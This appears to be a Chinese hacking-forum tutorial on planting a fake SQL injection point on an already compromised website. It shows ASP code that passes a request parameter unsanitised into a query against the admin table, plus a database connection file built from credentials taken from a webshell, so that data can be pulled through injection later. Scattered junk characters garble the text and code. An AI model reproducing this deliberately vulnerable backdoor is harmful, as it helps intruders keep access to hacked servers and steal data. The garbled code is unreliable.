自己构造注入点方便入侵
5 O m; {$ L c' [+ r' i; V0 B; _3 I# o4 U: i
今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息3 u( V0 P- y/ |% h
/ r, ] Y) a6 v2 X& J9 V这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!7 k0 q+ Y7 J& n# Z% E- C" k- X
' H# h; `' d, w8 ?1 m) v) ~
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
9 _9 w! H& L. V; B* H$ d) ~
2 \) O) H; R, C' p密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
& x' Y) ^ t2 g! v2 l" W6 S# E1 u7 x2 \ b3 Z
因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
; c1 L# x4 Q9 q' L/ [$ y% v$ e5 J$ L, \% L- m
程序代码7 F% c$ A' ^$ \% {1 o: v- q* x
<!--#include file="xx.asp"-->3 T" Q4 h9 w3 j
<%, |0 t' o4 f; U1 i
set rs=server.createobject("ADODB.recordset")
1 T: U7 s# `3 v. e- y* did = request("id")
) c X- H I* cstrSQL = "select * from admin where id=" & id$ J( |; _3 k2 w9 h* M
rs.open strSQL,conn,1,32 i0 s' m0 M( R* N6 d$ V
rs.close
; `- |. L6 {; D+ M% c%>
" G8 `% m& D; ] D* K% L
% T5 h% m- r. t9 D R% E, \把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在: a& S3 J7 q2 I3 y! @5 l: c/ G: D8 ]% y
0 V, \" h7 t n. M/ W你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!6 B5 {/ J3 {/ [* w( \* X8 M; h
9 o2 G9 J7 V7 \; V: T) [* ~/ ~然后就要构造一个连接数据库的文件了,代码如下:' N3 a% T+ `7 ~. B9 d
程序代码8 M" D# w, C4 _) p
<% / x M/ z+ V8 k3 F( M: t$ b8 j
strSQLServerName = "000.000.000.000" '服务器名称或地址
& z ^. O' s! }1 Y0 R9 A9 kstrSQLDBUserName = "sqlname" '数据库帐号
+ | d5 `; V t: {" {strSQLDBPassword = "sqlpass" '数据库密码& Y- g/ y# v( a
strSQLDBName = "sqldataname" '数据库名称8 Y0 H2 K/ J0 H/ m6 I- V
Set conn = Server.CreateObject("ADODB.Connection")* w# o! ]8 ?* _: B e1 i$ X/ Y% V
strCon = " rovider=SQLOLEDB.1 ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & " assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"( G$ K5 i0 b" ]. P! w
conn.open strCon
/ p" D. m+ X" w9 \: }5 U [! Y%>) ?6 v ?) b& c, q! `( [: N. K
8 W% ^# A. t/ k; z/ d
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,4 w' B% J2 l b9 z
5 E" P' w d% @% F" a6 g
就这样,正常情况下,就OK了,伪造成功……
. G* h' |" r$ F, A0 I, D# `
7 ?% w$ `5 ~8 h6 F2 T1 J3 N 如果有什么问题可以提出来大家一起探讨解决。 |